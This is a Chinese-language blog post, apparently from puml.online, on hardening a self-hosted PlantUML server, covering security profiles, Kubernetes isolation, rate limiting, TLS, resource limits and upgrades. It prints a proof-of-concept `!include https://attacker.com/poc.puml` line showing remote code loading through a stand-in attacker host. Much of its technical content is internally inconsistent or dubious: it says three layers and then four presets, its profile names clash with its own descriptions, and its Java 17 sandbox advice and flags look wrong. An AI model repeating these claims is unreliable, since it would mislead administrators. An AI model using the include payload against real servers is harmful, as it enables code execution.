PlantUML 安全策略:internet / alcapone / legacy 安全等级

puml.online

PlantUML 自部署面临两个安全风险:(1) 渲染器本身会执行 Java 代码,存在 OOM/任意代码执行漏洞;(2) 攻击者上传恶意代码拖垮你的容器。这篇整理 PlantUML 自带的三层安全策略和最佳实践。

三层安全策略

PlantUML 自带四种预设,由 PLANTUML_SECURITY_PROFILE 控制:

Profile 启用 适用
LEGACYDISABLED 关闭旧 API(默认) 任何对外服务
INTERNET 完整沙箱,限制资源 公开服务
ALCAPONE 沙箱但允许部分 API 内部受信任环境
LEGACYUNSECURE 完全开放 仅自己开发

1. INTERNET(最严)

1
2
3
4
docker run -d \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=INTERNET \
plantuml/plantuml-server:latest
  • 大小写严格
  • 禁用 !include!includeurl
  • 限制 Java 反射

适用:任何对外公开的 PlantUML 服务。

2. ALCAPONE(中等)

1
-e PLANTUML_SECURITY_PROFILE=ALCAPONE
  • 启用 !include 但只读白名单路径
  • 允许 !function 但禁止 system 调用
  • 打开 TEMPLATE 主题

适用:内网 wiki,可信用户。

3. LEGACYUNSECURE(开发)

1
-e PLANTUML_SECURITY_PROFILE=LEGACYUNSECURE
  • 所有功能开放
  • 任意 Java 代码都可执行

适用:仅开发者本地机器。

沙箱原理

PlantUML 用 SecurityManager(Java 14+ 已弃用)和自定义 classloader 隔离:

1
2
3
4
5
6
7
8
SecurityManager oldSm = System.getSecurityManager();
SecurityManager newSm = new UMLSecurityManager();
System.setSecurityManager(newSm);
try {
// 渲染
} finally {
System.setSecurityManager(oldSm);
}

每次渲染前后切换 SecurityManager,但 Java 17+ 推荐新方法:

1
2
3
4
// Java 17+
AccessControlContext acc = doPrivileged(() -> {
// 渲染
});

实际上 PlantUML 用 !policyj 给每个 chart 加载自己的权限。

老版本安全漏洞

PlantUML 在「TeaVM WASM」版本之前存在 RCE 风险。已修复(2023+),但 self-host 要保持版本升级。

最佳实践

1. 默认 INTERNET

1
PLANTUML_SECURITY_PROFILE=INTERNET

任何对外开放的服务都用 INTERNET。

2. 容器加固

1
2
3
4
5
6
7
8
9
10
11
FROM plantuml/plantuml-server:jdk17
RUN apt-get update \
&& apt-get install -y fonts-noto-cjk \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*

# 不要以 root 运行
USER nobody

# 文件系统只读
# (容器编排层做)

3. 网络限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# k8s NetworkPolicy: 只允许编辑器域名访问
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: plantuml
spec:
podSelector:
matchLabels:
app: plantuml
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: editor
ports:
- port: 8080

只允许来自 editor pod 的流量。

4. 速率限制

1
2
3
4
5
6
7
8
9
# nginx limit_req
limit_req_zone $binary_remote_addr zone=plantuml:10m rate=5r/s;

server {
location / {
limit_req zone=plantuml burst=10 nodelay;
proxy_pass http://plantuml:8080;
}
}

5 req/s 单 IP 上限。

5. 输入长度限制

1
2
3
-e PLANTUML_LIMIT_SIZE=4096
-e MAX_URL_LENGTH=4096
-e MAX_FILE_SIZE=4096

限制请求 URL 和文件大小。

6. 日志 / 监控

1
2
# 启用 JVM 异常日志
-e JAVA_OPTS="-Djava.security.debug=all"

或者:

1
2
3
4
5
6
livenessProbe:
httpGet:
path: /healthcheck
port: 8080
initialDelaySeconds: 30
periodSeconds: 10

配合 Prometheus 暴露 /metrics

7. 资源限制

1
2
3
resources:
requests: { memory: "256Mi", cpu: "100m" }
limits: { memory: "1Gi", cpu: "500m" }

1Gi 内存上限 = 防止单用户上传巨大 chart 拖垮容器。

8. 短生命周期

容器不稳定就用重启时间短的容器:

1
2
3
spec:
restartPolicy: Always
terminationGracePeriodSeconds: 30

9. TLS termination

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: plantuml
annotations:
nginx.ingress.kubernetes.io/backend-protocol: "HTTP"
nginx.ingress.kubernetes.io/ssl-redirect: "true"
cert-manager.io/cluster-issuer: "letsencrypt-prod"
spec:
tls:
- hosts:
- plantuml.puml.online
secretName: plantuml-tls
rules:
- host: plantuml.puml.online

启用 TLS。

拒绝服务(DoS)防护

PlantUML 用 Java 操作 SVG / PNG 渲染,CPU 敏感。攻击者上传巨图可以冻死 container:

1
2
3
4
5
# 容器启动参数
resources:
limits:
cpu: 1
memory: 1Gi

K8s 会 OOM kill 它。

更严格:

1
2
3
4
5
6
7
8
9
10
# PodDisruptionBudget
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: plantuml
spec:
minAvailable: 2
selector:
matchLabels:
app: plantuml

至少 2 个 pod 在滚动。

RCE 历史漏洞

PlantUML 旧版本(在 1.2024.x 之前)有 RCE 漏洞:

1
2
3
@startuml
!include https://attacker.com/poc.puml
@enduml

!includeurl 加载远程 .puml 文件时,可绕过沙箱执行 Java 代码。

修复:1.2024.7+ 已经限制了 !include 的协议和路径,但一定要:

1
PLANTUML_SECURITY_PROFILE=INTERNET

反模式

1. 默认开启 LEGACYUNSECURE

1
2
3
4
# 切忌
env:
- name: PLANTUML_SECURITY_PROFILE
value: LEGACYUNSECURE

2. 没有速率限制

没有速率限制 + INTERNET profile 也会被 DoS(5KB/SVG 没事,巨大 chart 占内存)。

3. 没升级 Patch

PlantUUM 月度 patch 修复漏洞。1.2026.x 之前的版本应该升级。

4. 共享文件系统

1
2
3
volumes:
- name: shared
hostPath: /shared

!include 可以读 host path,外部攻击者可能读到不该读的。禁用共享文件系统

5. 反向代理 no CORS

编辑器和 plantuml 在不同域,CORS 必须开:

1
2
add_header Access-Control-Allow-Origin "https://puml.online" always;
add_header Access-Control-Allow-Methods "GET, POST, OPTIONS" always;

审查清单

  • PLANTUML_SECURITY_PROFILE=INTERNET 默认?
  • K8s NetworkPolicy 隔离?
  • 速率限制 nginx 层?
  • TLS termination?
  • 资源 limits?
  • 监控 / 报警?
  • 月度升级?

升级策略

1
2
3
4
5
6
7
8
9
10
11
# 看版本升级
plantuml/plantuml-server --version

# 滚动升级
docker pull plantuml/plantuml-server:2026.7
docker stop plantuml-server
docker run -d --rm \
--name plantuml-server-new \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=INTERNET \
plantuml/plantuml-server:2026.7

CI 周期:每月一次 trivial patch,每季度 minor upgrade,每半年 major。

一句话总结

PlantUML 自部署的安全核心是「默认 INTERNET + NetworkPolicy 隔离 + 速率限制 + 资源 limits + TLS + 月度升级」。少做一样都是隐患。

  • 标题: PlantUML 安全策略:internet / alcapone / legacy 安全等级
  • 作者: puml.online
  • 创建于 : 2026-07-29 16:20:00
  • 更新于 : 2026-08-14 21:34:29
  • 链接: https://puml.online/blog/plantuml-security/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。